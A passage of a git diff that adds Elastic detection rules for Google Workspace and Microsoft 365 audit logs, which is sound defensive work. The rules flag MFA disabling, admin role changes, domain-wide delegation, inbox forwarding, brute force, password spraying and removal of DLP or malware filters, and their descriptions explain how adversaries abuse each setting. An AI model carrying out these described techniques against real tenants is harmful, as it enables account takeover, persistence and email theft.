logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-gsuite.html""" +references = ["https://support.google.com/a/answer/6160020?hl=en"] +risk_score = 73 +rule_id = "cf549724-c577-4fd6-8f9b-d1b8ec519ec0" +severity = "high" +tags = ["Elastic", "Cloud", "Google Workspace", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(gsuite.admin or google_workspace.admin) and event.provider:admin and event.category:iam and event.action:ADD_TRUSTED_DOMAINS +''' + diff --git a/rules/integrations/google_workspace/google_workspace_admin_role_deletion.toml b/rules/integrations/google_workspace/google_workspace_admin_role_deletion.toml new file mode 100644 index 000000000..cbbcea1fa --- /dev/null +++ b/rules/integrations/google_workspace/google_workspace_admin_role_deletion.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/11/17" +maturity = "production" +updated_date = "2021/07/20" +integration = "google_workspace" + +[rule] +author = ["Elastic"] +description = """ +Detects when a custom admin role is deleted. An adversary may delete a custom admin role in order to impact the +permissions or capabilities of system administrators. +""" +false_positives = [ + """ + Google Workspace admin roles may be deleted by system administrators. Verify that the configuration change was + expected. Exceptions can be added to this rule to filter expected behavior. + """, +] +from = "now-130m" +index = ["filebeat-*", "logs-google_workspace*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "Google Workspace Admin Role Deletion" +note = """## Config + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +### Important Information Regarding Google Workspace Event Lag Times +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-gsuite.html""" +references = ["https://support.google.com/a/answer/2406043?hl=en"] +risk_score = 47 +rule_id = "93e63c3e-4154-4fc6-9f86-b411e0987bbf" +severity = "medium" +tags = ["Elastic", "Cloud", "Google Workspace", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(gsuite.admin or google_workspace.admin) and event.provider:admin and event.category:iam and event.action:DELETE_ROLE +''' + diff --git a/rules/integrations/google_workspace/google_workspace_mfa_enforcement_disabled.toml b/rules/integrations/google_workspace/google_workspace_mfa_enforcement_disabled.toml new file mode 100644 index 000000000..ee9dd5e6b --- /dev/null +++ b/rules/integrations/google_workspace/google_workspace_mfa_enforcement_disabled.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/11/17" +maturity = "production" +updated_date = "2021/07/21" +integration = "google_workspace" + +[rule] +author = ["Elastic"] +description = """ +Detects when multi-factor authentication (MFA) enforcement is disabled for Google Workspace users. An adversary may +disable MFA enforcement in order to weaken an organization’s security controls. +""" +false_positives = [ + """ + MFA policies may be modified by system administrators. Verify that the configuration change was expected. Exceptions + can be added to this rule to filter expected behavior. + """, +] +from = "now-130m" +index = ["filebeat-*", "logs-google_workspace*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "Google Workspace MFA Enforcement Disabled" +note = """## Config + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +### Important Information Regarding Google Workspace Event Lag Times +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-gsuite.html""" +references = ["https://support.google.com/a/answer/9176657?hl=en#"] +risk_score = 47 +rule_id = "cad4500a-abd7-4ef3-b5d3-95524de7cfe1" +severity = "medium" +tags = ["Elastic", "Cloud", "Google Workspace", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(gsuite.admin or google_workspace.admin) and event.provider:admin and event.category:iam and event.action:ENFORCE_STRONG_AUTHENTICATION and (gsuite.admin.new_value:false or google_workspace.admin.new_value:false) +''' + diff --git a/rules/integrations/google_workspace/google_workspace_policy_modified.toml b/rules/integrations/google_workspace/google_workspace_policy_modified.toml new file mode 100644 index 000000000..ad0dff0d1 --- /dev/null +++ b/rules/integrations/google_workspace/google_workspace_policy_modified.toml @@ -0,0 +1,65 @@ +[metadata] +creation_date = "2020/11/17" +maturity = "production" +updated_date = "2021/07/21" +integration = "google_workspace" + +[rule] +author = ["Elastic"] +description = """ +Detects when a Google Workspace password policy is modified. An adversary may attempt to modify a password policy in +order to weaken an organization’s security controls. +""" +false_positives = [ + """ + Password policies may be modified by system administrators. Verify that the configuration change was expected. + Exceptions can be added to this rule to filter expected behavior. + """, +] +from = "now-130m" +index = ["filebeat-*", "logs-google_workspace*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "Google Workspace Password Policy Modified" +note = """## Config + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +### Important Information Regarding Google Workspace Event Lag Times +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-gsuite.html""" +risk_score = 47 +rule_id = "a99f82f5-8e77-4f8b-b3ce-10c0f6afbc73" +severity = "medium" +tags = ["Elastic", "Cloud", "Google Workspace", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(gsuite.admin or google_workspace.admin) and + event.provider:admin and event.category:iam and + event.action:(CHANGE_APPLICATION_SETTING or CREATE_APPLICATION_SETTING) and + gsuite.admin.setting.name:( + "Password Management - Enforce strong password" or + "Password Management - Password reset frequency" or + "Password Management - Enable password reuse" or + "Password Management - Enforce password policy at next login" or + "Password Management - Minimum password length" or + "Password Management - Maximum password length" + ) or + google_workspace.admin.setting.name:( + "Password Management - Enforce strong password" or + "Password Management - Password reset frequency" or + "Password Management - Enable password reuse" or + "Password Management - Enforce password policy at next login" or + "Password Management - Minimum password length" or + "Password Management - Maximum password length" + ) +''' + diff --git a/rules/integrations/google_workspace/mfa_disabled_for_google_workspace_organization.toml b/rules/integrations/google_workspace/mfa_disabled_for_google_workspace_organization.toml new file mode 100644 index 000000000..7323d1b90 --- /dev/null +++ b/rules/integrations/google_workspace/mfa_disabled_for_google_workspace_organization.toml @@ -0,0 +1,47 @@ +[metadata] +creation_date = "2020/11/17" +maturity = "production" +updated_date = "2021/07/21" +integration = "google_workspace" + +[rule] +author = ["Elastic"] +description = """ +Detects when multi-factor authentication (MFA) is disabled for a Google Workspace organization. An adversary may attempt +to modify a password policy in order to weaken an organization’s security controls. +""" +false_positives = [ + """ + MFA settings may be modified by system administrators. Verify that the configuration change was expected. Exceptions + can be added to this rule to filter expected behavior. + """, +] +from = "now-130m" +index = ["filebeat-*", "logs-google_workspace*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "MFA Disabled for Google Workspace Organization" +note = """## Config + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +### Important Information Regarding Google Workspace Event Lag Times +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-gsuite.html""" +risk_score = 47 +rule_id = "e555105c-ba6d-481f-82bb-9b633e7b4827" +severity = "medium" +tags = ["Elastic", "Cloud", "Google Workspace", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(gsuite.admin or google_workspace.admin) and event.provider:admin and event.category:iam and event.action:(ENFORCE_STRONG_AUTHENTICATION or ALLOW_STRONG_AUTHENTICATION) and (gsuite.admin.new_value:false or google_workspace.admin.new_value:false) +''' + diff --git a/rules/integrations/google_workspace/persistence_google_workspace_admin_role_assigned_to_user.toml b/rules/integrations/google_workspace/persistence_google_workspace_admin_role_assigned_to_user.toml new file mode 100644 index 000000000..00acb03fb --- /dev/null +++ b/rules/integrations/google_workspace/persistence_google_workspace_admin_role_assigned_to_user.toml @@ -0,0 +1,62 @@ +[metadata] +creation_date = "2020/11/17" +maturity = "production" +updated_date = "2021/07/20" +integration = "google_workspace" + +[rule] +author = ["Elastic"] +description = """ +Detects when an admin role is assigned to a Google Workspace user. An adversary may assign an admin role to a user in +order to elevate the permissions of another user account and persist in their target’s environment. +""" +false_positives = [ + """ + Google Workspace admin role assignments may be modified by system administrators. Verify that the configuration + change was expected. Exceptions can be added to this rule to filter expected behavior. + """, +] +from = "now-130m" +index = ["filebeat-*", "logs-google_workspace*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "Google Workspace Admin Role Assigned to a User" +note = """## Config + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +### Important Information Regarding Google Workspace Event Lag Times +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-gsuite.html""" +references = ["https://support.google.com/a/answer/172176?hl=en"] +risk_score = 47 +rule_id = "68994a6c-c7ba-4e82-b476-26a26877adf6" +severity = "medium" +tags = ["Elastic", "Cloud", "Google Workspace", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(gsuite.admin or google_workspace.admin) and event.provider:admin and event.category:iam and event.action:ASSIGN_ROLE +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1098" +name = "Account Manipulation" +reference = "https://attack.mitre.org/techniques/T1098/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/google_workspace/persistence_google_workspace_api_access_granted_via_domain_wide_delegation_of_authority.toml b/rules/integrations/google_workspace/persistence_google_workspace_api_access_granted_via_domain_wide_delegation_of_authority.toml new file mode 100644 index 000000000..49df4516d --- /dev/null +++ b/rules/integrations/google_workspace/persistence_google_workspace_api_access_granted_via_domain_wide_delegation_of_authority.toml @@ -0,0 +1,63 @@ +[metadata] +creation_date = "2020/11/12" +maturity = "production" +updated_date = "2021/07/20" +integration = "google_workspace" + +[rule] +author = ["Elastic"] +description = """ +Detects when a domain-wide delegation of authority is granted to a service account. Domain-wide delegation can be +configured to grant third-party and internal applications to access the data of Google Workspace users. An adversary may +configure domain-wide delegation to maintain access to their target’s data. +""" +false_positives = [ + """ + Domain-wide delegation of authority may be granted to service accounts by system administrators. Verify that the + configuration change was expected. Exceptions can be added to this rule to filter expected behavior. + """, +] +from = "now-130m" +index = ["filebeat-*", "logs-google_workspace*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "Google Workspace API Access Granted via Domain-Wide Delegation of Authority" +note = """## Config + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +### Important Information Regarding Google Workspace Event Lag Times +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-gsuite.html""" +references = ["https://developers.google.com/admin-sdk/directory/v1/guides/delegation"] +risk_score = 47 +rule_id = "acbc8bb9-2486-49a8-8779-45fb5f9a93ee" +severity = "medium" +tags = ["Elastic", "Cloud", "Google Workspace", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(gsuite.admin or google_workspace.admin) and event.provider:admin and event.category:iam and event.action:AUTHORIZE_API_CLIENT_ACCESS +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1098" +name = "Account Manipulation" +reference = "https://attack.mitre.org/techniques/T1098/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/google_workspace/persistence_google_workspace_custom_admin_role_created.toml b/rules/integrations/google_workspace/persistence_google_workspace_custom_admin_role_created.toml new file mode 100644 index 000000000..4da52fb11 --- /dev/null +++ b/rules/integrations/google_workspace/persistence_google_workspace_custom_admin_role_created.toml @@ -0,0 +1,62 @@ +[metadata] +creation_date = "2020/11/17" +maturity = "production" +updated_date = "2021/07/20" +integration = "google_workspace" + +[rule] +author = ["Elastic"] +description = """ +Detects when a custom admin role is created in Google Workspace. An adversary may create a custom admin role in order to +elevate the permissions of other user accounts and persist in their target’s environment. +""" +false_positives = [ + """ + Custom Google Workspace admin roles may be created by system administrators. Verify that the configuration change + was expected. Exceptions can be added to this rule to filter expected behavior. + """, +] +from = "now-130m" +index = ["filebeat-*", "logs-google_workspace*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "Google Workspace Custom Admin Role Created" +note = """## Config + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +### Important Information Regarding Google Workspace Event Lag Times +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-gsuite.html""" +references = ["https://support.google.com/a/answer/2406043?hl=en"] +risk_score = 47 +rule_id = "ad3f2807-2b3e-47d7-b282-f84acbbe14be" +severity = "medium" +tags = ["Elastic", "Cloud", "Google Workspace", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(gsuite.admin or google_workspace.admin) and event.provider:admin and event.category:iam and event.action:CREATE_ROLE +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1098" +name = "Account Manipulation" +reference = "https://attack.mitre.org/techniques/T1098/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/google_workspace/persistence_google_workspace_role_modified.toml b/rules/integrations/google_workspace/persistence_google_workspace_role_modified.toml new file mode 100644 index 000000000..0f118af65 --- /dev/null +++ b/rules/integrations/google_workspace/persistence_google_workspace_role_modified.toml @@ -0,0 +1,62 @@ +[metadata] +creation_date = "2020/11/17" +maturity = "production" +updated_date = "2021/07/20" +integration = "google_workspace" + +[rule] +author = ["Elastic"] +description = """ +Detects when a custom admin role or its permissions are modified. An adversary may modify a custom admin role in order +to elevate the permissions of other user accounts and persist in their target’s environment. +""" +false_positives = [ + """ + Google Workspace admin roles may be modified by system administrators. Verify that the configuration change was + expected. Exceptions can be added to this rule to filter expected behavior. + """, +] +from = "now-130m" +index = ["filebeat-*", "logs-google_workspace*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "Google Workspace Role Modified" +note = """## Config + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +### Important Information Regarding Google Workspace Event Lag Times +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-gsuite.html""" +references = ["https://support.google.com/a/answer/2406043?hl=en"] +risk_score = 47 +rule_id = "6f435062-b7fc-4af9-acea-5b1ead65c5a5" +severity = "medium" +tags = ["Elastic", "Cloud", "Google Workspace", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(gsuite.admin or google_workspace.admin) and event.provider:admin and event.category:iam and event.action:(ADD_PRIVILEGE or UPDATE_ROLE) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1098" +name = "Account Manipulation" +reference = "https://attack.mitre.org/techniques/T1098/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/o365/collection_microsoft_365_new_inbox_rule.toml b/rules/integrations/o365/collection_microsoft_365_new_inbox_rule.toml new file mode 100644 index 000000000..230ea7384 --- /dev/null +++ b/rules/integrations/o365/collection_microsoft_365_new_inbox_rule.toml @@ -0,0 +1,71 @@ +[metadata] +creation_date = "2021/03/29" +maturity = "production" +updated_date = "2022/02/28" +integration = "o365" + +[rule] +author = ["Elastic", "Gary Blackwell", "Austin Songer"] +description = """ +Identifies when a new Inbox forwarding rule is created in Microsoft 365. Inbox rules process messages in the Inbox based +on conditions and take actions. In this case, the rules will forward the emails to a defined address. Attackers can +abuse Inbox Rules to intercept and exfiltrate email data without making organization-wide configuration changes or +having the corresponding privileges. +""" +false_positives = [ + """ + Users and Administrators can create inbox rules for legitimate purposes. Verify if it complies with the company + policy and done with the user's consent. Exceptions can be added to this rule to filter expected behavior. + """, +] +from = "now-30m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "Microsoft 365 Inbox Forwarding Rule Created" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/responding-to-a-compromised-email-account?view=o365-worldwide", + "https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps", + "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/detect-and-remediate-outlook-rules-forms-attack?view=o365-worldwide", + "https://raw.githubusercontent.com/PwC-IR/Business-Email-Compromise-Guide/main/Extractor%20Cheat%20Sheet.pdf", +] +risk_score = 47 +rule_id = "ec8efb0c-604d-42fa-ac46-ed1cfbc38f78" +severity = "medium" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.provider:Exchange and +event.category:web and event.action:"New-InboxRule" and + ( + o365audit.Parameters.ForwardTo:* or + o365audit.Parameters.ForwardAsAttachmentTo:* or + o365audit.Parameters.RedirectTo:* + ) + and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1114" +name = "Email Collection" +reference = "https://attack.mitre.org/techniques/T1114/" + + [[rule.threat.technique.subtechnique]] + id = "T1114.003" + name = "Email Forwarding Rule" + reference = "https://attack.mitre.org/techniques/T1114/003/" + +[rule.threat.tactic] +id = "TA0009" +name = "Collection" +reference = "https://attack.mitre.org/tactics/TA0009/" + diff --git a/rules/integrations/o365/credential_access_microsoft_365_brute_force_user_account_attempt.toml b/rules/integrations/o365/credential_access_microsoft_365_brute_force_user_account_attempt.toml new file mode 100644 index 000000000..fdaa1f511 --- /dev/null +++ b/rules/integrations/o365/credential_access_microsoft_365_brute_force_user_account_attempt.toml @@ -0,0 +1,57 @@ +[metadata] +creation_date = "2020/11/30" +maturity = "production" +updated_date = "2022/01/07" +integration = "o365" + +[rule] +author = ["Elastic", "Willem D'Haese", "Austin Songer"] +description = """ +Identifies attempts to brute force a Microsoft 365 user account. An adversary may attempt a brute force attack to obtain +unauthorized access to user accounts. +""" +false_positives = [ + """ + Automated processes that attempt to authenticate using expired credentials and unbounded retries may lead to false + positives. + """, +] +from = "now-30m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "Attempts to Brute Force a Microsoft 365 User Account" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://blueteamblog.com/7-ways-to-monitor-your-office-365-logs-using-siem"] +risk_score = 73 +rule_id = "26f68dba-ce29-497b-8e13-b4fde1db5a2d" +severity = "high" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Identity and Access"] +type = "threshold" + +query = ''' +event.dataset:o365.audit and event.provider:(AzureActiveDirectory or Exchange) and + event.category:authentication and event.action:(UserLoginFailed or PasswordLogonInitialAuthUsingPassword) and + not o365.audit.LogonError:(UserAccountNotFound or EntitlementGrantsNotFound or UserStrongAuthEnrollmentRequired or + UserStrongAuthClientAuthNRequired or InvalidReplyTo) and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1110" +name = "Brute Force" +reference = "https://attack.mitre.org/techniques/T1110/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + +[rule.threshold] +field = ["user.id"] +value = 10 diff --git a/rules/integrations/o365/credential_access_microsoft_365_potential_password_spraying_attack.toml b/rules/integrations/o365/credential_access_microsoft_365_potential_password_spraying_attack.toml new file mode 100644 index 000000000..2c86e6cb1 --- /dev/null +++ b/rules/integrations/o365/credential_access_microsoft_365_potential_password_spraying_attack.toml @@ -0,0 +1,54 @@ +[metadata] +creation_date = "2020/12/01" +maturity = "production" +updated_date = "2022/01/07" +integration = "o365" + +[rule] +author = ["Elastic"] +description = """ +Identifies a high number (25) of failed Microsoft 365 user authentication attempts from a single IP address within 30 +minutes, which could be indicative of a password spraying attack. An adversary may attempt a password spraying attack to +obtain unauthorized access to user accounts. +""" +false_positives = [ + """ + Automated processes that attempt to authenticate using expired credentials and unbounded retries may lead to false + positives. + """, +] +from = "now-30m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "Potential Password Spraying of Microsoft 365 User Accounts" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +risk_score = 73 +rule_id = "3efee4f0-182a-40a8-a835-102c68a4175d" +severity = "high" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Identity and Access"] +type = "threshold" + +query = ''' +event.dataset:o365.audit and event.provider:(Exchange or AzureActiveDirectory) and event.category:authentication and +event.action:("UserLoginFailed" or "PasswordLogonInitialAuthUsingPassword") and event.outcome:success +''' + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1110" +name = "Brute Force" +reference = "https://attack.mitre.org/techniques/T1110/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + +[rule.threshold] +field = ["source.ip"] +value = 25 diff --git a/rules/integrations/o365/credential_access_user_excessive_sso_logon_errors.toml b/rules/integrations/o365/credential_access_user_excessive_sso_logon_errors.toml new file mode 100644 index 000000000..59d9f49cc --- /dev/null +++ b/rules/integrations/o365/credential_access_user_excessive_sso_logon_errors.toml @@ -0,0 +1,54 @@ +[metadata] +creation_date = "2021/05/17" +maturity = "production" +updated_date = "2021/12/30" +integration = "o365" + +[rule] +author = ["Elastic", "Austin Songer"] +description = """ +Identifies accounts with a high number of single sign-on (SSO) logon errors. Excessive logon errors may indicate an +attempt to brute force a password or SSO token. +""" +false_positives = [ + """ + Automated processes that attempt to authenticate using expired credentials and unbounded retries may lead to false + positives. + """, +] +from = "now-20m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "O365 Excessive Single Sign-On Logon Errors" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +risk_score = 73 +rule_id = "2de10e77-c144-4e69-afb7-344e7127abd0" +severity = "high" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Identity and Access"] +type = "threshold" + + +query = ''' +event.dataset:o365.audit and event.provider:AzureActiveDirectory and event.category:authentication and o365.audit.LogonError:"SsoArtifactInvalidOrExpired" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1110" +name = "Brute Force" +reference = "https://attack.mitre.org/techniques/T1110/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + +[rule.threshold] +field = ["user.id"] +value = 5 diff --git a/rules/integrations/o365/defense_evasion_microsoft_365_exchange_dlp_policy_removed.toml b/rules/integrations/o365/defense_evasion_microsoft_365_exchange_dlp_policy_removed.toml new file mode 100644 index 000000000..244705746 --- /dev/null +++ b/rules/integrations/o365/defense_evasion_microsoft_365_exchange_dlp_policy_removed.toml @@ -0,0 +1,55 @@ +[metadata] +creation_date = "2020/11/20" +maturity = "production" +updated_date = "2021/07/20" +integration = "o365" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a Data Loss Prevention (DLP) policy is removed in Microsoft 365. An adversary may remove a DLP policy to +evade existing DLP monitoring. +""" +false_positives = [ + """ + A DLP policy may be removed by a system or network administrator. Verify that the configuration change was expected. + Exceptions can be added to this rule to filter expected behavior. + """, +] +from = "now-30m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "Microsoft 365 Exchange DLP Policy Removed" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/powershell/module/exchange/remove-dlppolicy?view=exchange-ps", + "https://docs.microsoft.com/en-us/microsoft-365/compliance/data-loss-prevention-policies?view=o365-worldwide", +] +risk_score = 47 +rule_id = "60f3adec-1df9-4104-9c75-b97d9f078b25" +severity = "medium" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"Remove-DlpPolicy" and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/o365/defense_evasion_microsoft_365_exchange_malware_filter_policy_deletion.toml b/rules/integrations/o365/defense_evasion_microsoft_365_exchange_malware_filter_policy_deletion.toml new file mode 100644 index 000000000..dfaa30b82 --- /dev/null +++ b/rules/integrations/o365/defense_evasion_microsoft_365_exchange_malware_filter_policy_deletion.toml @@ -0,0 +1,55 @@ +[metadata] +creation_date = "2020/11/19" +maturity = "production" +updated_date = "2021/07/20" +integration = "o365" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a malware filter policy has been deleted in Microsoft 365. A malware filter policy is used to alert +administrators that an internal user sent a message that contained malware. This may indicate an account or machine +compromise that would need to be investigated. Deletion of a malware filter policy may be done to evade detection. +""" +false_positives = [ + """ + A malware filter policy may be deleted by a system or network administrator. Verify that the configuration change + was expected. Exceptions can be added to this rule to filter expected 